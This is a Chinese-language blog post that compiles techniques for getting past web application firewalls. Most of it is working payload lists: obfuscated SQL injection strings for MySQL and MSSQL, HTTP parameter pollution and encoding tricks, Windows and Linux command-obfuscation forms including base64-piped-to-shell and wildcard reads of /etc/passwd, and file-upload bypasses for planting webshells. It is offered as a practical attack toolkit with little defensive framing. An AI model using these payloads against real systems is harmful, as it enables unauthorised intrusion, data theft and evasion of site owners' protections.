绕WAF常见思路整理(一)
最近被平台的一些事情搞得心态有点崩,很久没写文了
近期想整理一下常见的各种操作中绕过WAF的思路与免杀的思路(这部分之前没整理完以后有机会再说),受限于个人水平因素所以一定是不完全的,而且在WAF日新月异的今天,有些办法已经退环境了(未经过全部测试),所以我倾向于本次从方法的角度讨论,(不出意外)而不针对某款特定的WAF讨论(因为想要成功需要针对功能点进行大量的fuzz尝试,有时候遇到包含集成规则的软WAF还需要逆向,鉴于自己是菜鸡就不展开了)
仍然是只说一些众所周知的办法,针对某种WAF规则fuzz出来未公开的自写的个人用脚本不在讨论范围
尽量用我贫瘠的词汇总结一下,不断更新(我尽力),欢迎师傅们补充
1.分块传输
话不多说,先上burpsuite插件链接:https://github.com/c0ny1/chunked-coding-converter
用法我就不仔细介绍了,大致上安装好右键选择chunked-coding-converter中的config,进行配置
可以勾选proxy与sqlmap联动例如:python sqlmap.py -r post.txt --batch --proxy=http://127.0.0.1:8080 --dbs
相对来说可以避免sqlmap一片红红火火
或者直接干,参考下图干云锁,图来自:https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&mid=2247483787&idx=1&sn=54c33727696f8ee6d67f997acc11ab89&chksm=cf36f9cbf84170dd7da9b48b3365fb05d7ccec6bdeff480d0c38962f712e400a40b2b38dc467&token=360242838&lang=zh_CN#rd
(GitHub中作者推荐的三篇文章都不错,很详细
https://www.anquanke.com/post/id/169738#h2-1
https://www.freebuf.com/news/193659.html
再就是上面那篇)
原理参考https://www.secpulse.com/archives/143247.html
不说了
2.tamper脚本
严格来说利用脚本并不算是一种“方法”,但是可以算是解决问题的一种“手段”
sqlmap自带tamper,但是单独使用效果不好
于是有一个找可以绕过WAF的tamper的工具:
https://github.com/m4ll0k/Atlas
去结合sqlmap使用
使用参考文章:http://www.csxxaq.com/zx/1155.html
另一款SQL注入便利dump数据的工具,需要自行填写绕过语句
https://github.com/ggg4566/SQLEXP
3.垃圾数据
可以在上传处利用,类似下图
或者这种在参数中加垃圾数据
或者在注入中 实现缓冲区溢出
?id=1+and+sleep(3)+and+111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
再或者在POST数据包处加大量垃圾数据、垃圾键值对(参数=?)
复现参考:https://cloud.tencent.com/developer/article/1771247
https://xz.aliyun.com/t/7126
4.编码绕过
比如什么将payload进行URL编码,二次URL编码,其他编码(Unicode、base64、HEX、ASCII)啥的
例如二次URL编码
?id=1'and '1'='2
?id=%25%33%31%25%32%35%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%35%32%37%25%33%31%25%32%35%32%37%25%33%64%25%32%35%32%37%25%33%32
?id=1/**/UNION/**/SELECT
?id=1%252f%252a*/UNION%252f%252a*/SELECT
或者这种URL编码
%55nion(%53elect)
union%20distinct%20select
union%20%64istinctRO%57%20select
union%2053elect
%23?%0auion%20?%23?%0aselect
%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
u%6eion se%6cect
unio%6e %73elect
unio%6e%20%64istinc%74%20%73elect
uni%6fn distinct%52OW s%65lect
%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74
二元
Select 1 from dual where 0b1010=10
十六进制
Select 1 from dual where '0'=x'30'
六角
Select 1 from dual where 0x30='0'
Like语句
Select 1 from dual where 1 like 1
类似声明
Select 1 from dual where 12 rlike 1
|| (OR)
Select 1 from dual where 1||1
&& (And)
Select 1 from dual where 1&&1
?id=1 or 1=1
?id=1 or 0>2
?actionvar=news&id=1 or ''=''
?actionvar=news&id=1 || 0b1=x'31'
?actionvar=news&id=1 ||'1'!=20
?actionvar=news&id=1 || 1=1
?actionvar=news&id=1 || 1 like 1
?actionvar=news&id=1 || 12 rlike
或者十六进制编码
select 0x313131
select x'313131'
select 0b011110100110010101101110
select unhex(x'333133313331')
嗯。。。可以尝试,有没有用处很难说
参考文章:https://www.bilibili.com/read/cv7477891/
5.Method绕过
有的查GET的,不查POST的;有的查GET、POST的,但是不查其他的,还有。。。。。。你懂的
GET /xxx/?id=1+and+sleep(3) HTTP/1.1
尝试
LCX /xxx/?id=1+and+sleep(3) HTTP/1.1
或者
POST /xxx/
。。。
id=1+and+sleep(3)
或者说WAF未对cookie和xff校验,可以尝试把语句转移到cookie或xff中
GET /index.aspx?id=1+and+1=1 HTTP/1.1
Cookie: TOKEN=xxxxxxxxx;
GET /index.aspx HTTP/1.1
Cookie:TOKEN=xxxxxxxxx; id=1+and+1=1;
6.大小写/关键字/双关键字绕过
大小写
诸如:
UniOn SeLECT
?id=1' and slEeP(3) and '1'='1
vERsIoN()
或者将HTTP包头中的Content-Disposition、form-data、Content-Type改成content-Disposition、Form-data、content-Type
这种,过去可行,,,现在难以利用
关键字
WAF有恶意语句的正则表达库,关键方法一定会被拦截,可以考虑换一个类似功能的(语法不一样)
比如:
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
union==> ||
between==> <>
like ==> =
当然,不同数据库支持的方法不一样,不能通用(以上案例均为mysql中)
双关键字
例如
?id=1+and+SLesleepeP(3)+and+1=1
钻单次过滤的空子
7.HTTP参数污染
就是常说的HPP(HTTP Parameter Pollution)
通过插入特定的参数进行攻击,常用于绕WAF
例如 GET /xxx/news.php?id=1 union select user,password from mysql.user
变成 GET /xxx/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
如下图两个code参数实现绕过
当然,这个参数污染,受到环境的影响,同样的操作在不同环境搭建的服务器下,返回的结果不同,能否使用需要分析具体环境
应用范围很广,例如HTTP URL重定向、文件上传、逻辑漏洞啥的都能用
参考复现文章:
https://blog.csdn.net/zhangge3663/article/details/107614748
https://blog.csdn.net/weixin_39190897/article/details/113081278
8.空格绕过
常见的很多组合绕过的payload,都有此办法
即WAF对空格过滤,可用其他字符例如‘+’或空白符代替绕过
数据库类型 | 允许的空白符 |
---|---|
SQLite3 | 0A,0D,0C,09,20 |
MySQL5 | 09,0A,0B,0C,0D,A0,20 |
PosgresSQL | 0A,0D,0C,09,20 |
Oracle 11g | 00,0A,0D,0C,09,20 |
MSSQL | 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 |
?id=1'and sleep(3) and '1'='1
变成
?id=1'%0Aand%0Asleep(3)%0Aand%0A'1'='1
或者
?id=1'+and+sleep(3)+and+'1'='1
或者
?id=1'/**/and/**/sleep(3)/**/and/**/'1'='1
依然是与数据库和环境有关
除了空格替换绕过之外,加在哪里也有说法
有加在文件名前的 filename= "1.asp"
有加在参数前的 Content-Disposition: form-data; name="uploaded"; filename="1.asp"
有加在form-data前后的 Content-Disposition: +form-data; name="filepath"; filename="1.asp"
9.%00截断/宽字节
00截断总结一句话:
Get参数00截断直接添加%00,POST参数00截断修改hex为00
解析参数时遇到%00,认为参数读取结束
解释文章:https://blog.csdn.net/weixin_44840696/article/details/90581104
宽字节
嗯。。。没什么卵用
参考原理:https://blog.csdn.net/qq_35733751/article/details/106560160
10.特殊字符拼接插入
某些环境下(例如asp+iis)可以尝试插%
例如:
?id=1 union s%e%lect 1, 2, 3 from admin
s%elect>select
还有(asp+iis、aspx+iis)用Unicode代替的,有这种同一字符可以有多种转换形式的
s%u0065lect>select
s%u00f0lect>select
s%u0045lect = s%u0065lect = %u00f0lect
s%u006c%u0006ect>select
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
复现参考,很有趣的例子:https://www.jianshu.com/p/55f7cf7d31d1
还有什么
去掉form-data;把form-data改成*;改成f+orm-data、form-d+ata;
11.content-type 类型绕过
下面常见的content-type类型可以尝试互换
Content-Type: multipart/form-data
Content-Type: application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: application/json
12.pipline绕过
当请求中的Connection字段值为keep-alive,则代表本次发起的请求所建立的tcp连接不断开,直到所发送内容结束Connection为close为止。部分WAF可能只对第一次传输过来的请求进行过滤处理
可以手动将此值置为keep-alive,然后在http请求报文中构造多个请求,将恶意代码隐藏在第n个请求中,从而绕过
我愿称之为套娃
(需要关闭burpsuite中的update content-length)
复现参考:http://www.52bug.cn/hkjs/6520.html
https://blog.csdn.net/qq_42288123/article/details/105482476
13.利用系统/数据库特性绕过
这部分不知道怎么总结了,但是比较重要
总之就是
有些情况下,想要执行命令的时候,发现命令GG了
根据目标系统的不同有一些神奇的变形可以绕过
例如:
windows下
符号分隔
执行whoami
whoami = ((((Wh^o^am""i)))) //利用符号分割字符执行whoami
(类似操作不演示了)
与((((Wh^o^am""i))))类似的,(Whoami)或(Wh^o^am""i)也是可以正常执行的
另外,像
w"h"o"a"m"i 或"w"h"o"a"m"i"或"w"h"o"a"m"i或w"h"o"a"m"i"或who^ami或wh""o^a^mi 或wh""o^a^mi"。。。。。。都是可以正常执行的
还有set命令加上双重百分号%%实现命令拼接
whoami 可以变形为
set a=who
set b=ami
call %a%%b% //利用变量分割关键字执行whoami(或者直接执行%a%%b%)
set与%组合还可以切割字符
比如下面的三个例子:
set a=123whoami456 // 为了方便演示这里设置一个变量
echo %a:~3,6% // 取出变量a的第3位开始共计6个字符
%a:~3,6% //执行取出的值,通过截取系统变量然后拼接可以绕过大部分检测
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
(如果是%a:~0,5% 就不行,因为切割后是whoam,不是系统命令,不能执行)
set a=abc qwe //先自定义
wh^o^%a:~0,1%mi //然后截断整理后就变成了:wh^o^ami,所以命令执行成功
Linux下
关键字绕过
例如whoami可以是
w'h'o'a'm"i" //单引号或双引号连接符,需要闭合
wh\o\ami //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash //base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt
在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
甚至:
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间
更有甚者:
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
或者采用字符组合分割绕过
echo qwe ; ls //会先输出字符qwe,然后执行ls
q=l; w=s; e=" -al"; $q$w$e //执行ls -al命令
qwe | ls //执行后面的命令,前面的不执行
还有这种专门用于绕过文件名的
cat fl[abc]g.php //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php //表示cat flag.php
绕文件名还可以利用正则匹配
cat /etc/passwd可以是:
cat /?t*/??ss** //?,*通配符
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
还有空格、大括号绕过
比如cat 1.txt 可以表示为cat<1.txt
或者表示为{cat,1.txt}
Linux也可以使用命令拼接
a=who
b=ami
$a$b //输出whoami
还有命令执行函数绕过
以system为例
system("cat /etc/passwd");="\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");=(sy.(st).em)("cat /etc/passwd");
还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"="system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"="(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
最神奇的是,还能采用环境变量的截断与拼接来绕过
以此PATH为例:
echo ${PATH} 值为:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
那么,echo ${PATH:1:9}就是 usr/local
以此类推我们可以拼出很多命令
比如拼出ls
${PATH:5:1} //l
${PATH:2:1} //s
${PATH:5:1}${PATH:2:1} //拼接后是ls,执行命令(或者${PATH:5:1}s也是一样的)
然后说说数据库
mysql:
注释符
#、/*...*/、--[空格] ...
空格符
[0x09,0x0a-0x0d,0x20,0xa0]
特殊符号
%a 换行符,可结合注释符使用%23%0a,%2d%2d%0a。
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 符号
%7e ~ 波浪号
Id=1 union select(1),user()
Id=1 union /!12345select/1,user()
Id=1 union select@1,user()
Id=1 union select {x 1},user()
Id=1 union select"1",user()
Id=1 union select\N,user()
Id=1 union select 1,user()`
Id=1 union select 1,user()""
Id=1 union select 1,user()A
Id=1 union select 1,user()`b
Id=1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
Id=1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
浮点数
Id= 1.0union select 1,user()
Id= 1.union select 1,user()
Id= 1E0union select 1,user()
Id=\Nunion select 1,user()
Id=1 unionselect user(),2.0from admin
Id=1 union select user(),8e0from admin
Id=1 union select user(),\Nfrom admin
内联注释
/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
函数
截取
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
连接
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Ascii() Char() Hex() Unhex()
过滤逗号
127' UNION SELECT * FROM ((SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c JOIN (SELECT4)d JOIN (SELECT5)e)#
相当于 union select 1,2,3,4,5
union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
limit 1 offset 0相当于limit 1,0
mid(version() from 1 for 1)相当于Mid(version(),1,1)
<>被过滤
id=1 and ascii(substr(database(),0,1))>64
比较符
greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64
函数构造
sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
select{x[可填充字符]1}
MSSQL:
注释符
/*、--、;00%、/**/
空格符
[0x01-0x20][0x0a-0x0f][0x1a-0x-1f]
特殊符号
%3a 冒号
id=1 union:select 1,2 from:admin
id=1 union select+1,'2',db_name() from admin
id=1 union select-1,'2',db_name() from admin
id=1 union select.1,'2',db_name() from admin
id=1 union select:1,'2',db_name() from admin
id=1 union select~1,'2',db_name() from admin
id=1%20union%20select%201,'2',db_name()%80from%20admin
id=1 union select 1,'2',db_name+() from admin
函数变形: db_name[空白字符]()
浮点数
id=1.1union select 1,'2',db_name()
id=1e0union select 1,'2',db_name()
运算符
id=1-1union select '1',system_user,3 from admin
id=1e-union select '1',system_user,3 from admin
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
charindex('test',db_name())
字符串转换函数
Ascii('a')=char(97) 括号之间可添加空格
14.文件上传绕过
之前讲到的姿势也可以用于文件上传,但除了之前讲到的内容,文件上传部分还有一些绕过方法没说
详细可以参考这两篇文章:
https://xz.aliyun.com/t/6692
https://xz.aliyun.com/t/6693
这个文章中的靶场说了文件上传中绕过的一些姿势:
1.修改前端js验证绕过
2.修改content-type的MIME类型绕过
3.Apache解析类型绕过
4.配合Apache的上传.htaccess绕过
5.大小写绕过
6.文件后缀名加空格绕过
7.文件后缀名加.绕过
8.文件名加::$DATA绕过
9.PHP文件后缀名加.空格.绕过(webshell.php. .)
10.文件名后缀双写绕过
11.GET%00截断绕过
12.POST%00截断绕过
13.文件头部字节绕过(做图片马把马藏进图片后面)
14.图片二次渲染绕过
15.条件竞争绕过
内容很多,可以挑着看,没啥必要的不说,挑几个有代表性的举例,诸如:
二次渲染
在上传图片处,将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传
复现参考:https://blog.csdn.net/qq_40800734/article/details/105920149
条件竞争
钻代码执行需要时间的空子,如果是文件上传操作之后再进行判断(符合要求重命名保留,不符合要求直接干掉),就是通过不断上传文件,争取访问时间点在刚上传成功但还没有进行判断时访问到此文件,该文件存在
其实不只是上传,很多其他情况下也可以尝试条件竞争挖掘
复现参考:https://blog.csdn.net/wsnbbz/article/details/104651408
15.其他
还有一些其他办法没说到
比如双文件(复)参数上传、结合CMS漏洞、中间件解析漏洞。。。。。。啥的,太多了就不说了
总之暂时想起来这些,就先总结到这里
很多实际应用的组合拳比较多,靠单独一个方法是很难过WAF的
下一篇文章有机会的话介绍一些组合拳和WAF产品的绕过
感谢观看
参考文章:
http://www.52bug.cn/hkjs/6520.html
https://github.com/xiaoy-sec/Pentest_Note
https://www.jianshu.com/p/d12f6275054f
https://xz.aliyun.com/t/7599#toc-10
https://my.oschina.net/u/4588149/blog/4421773
https://blog.csdn.net/weixin_30415591/article/details/113436444
https://www.pianshen.com/article/1746778024/
https://mp.weixin.qq.com/s/6E2fXnuHkBt_fgRZL6z7bA
未经允许,禁止转载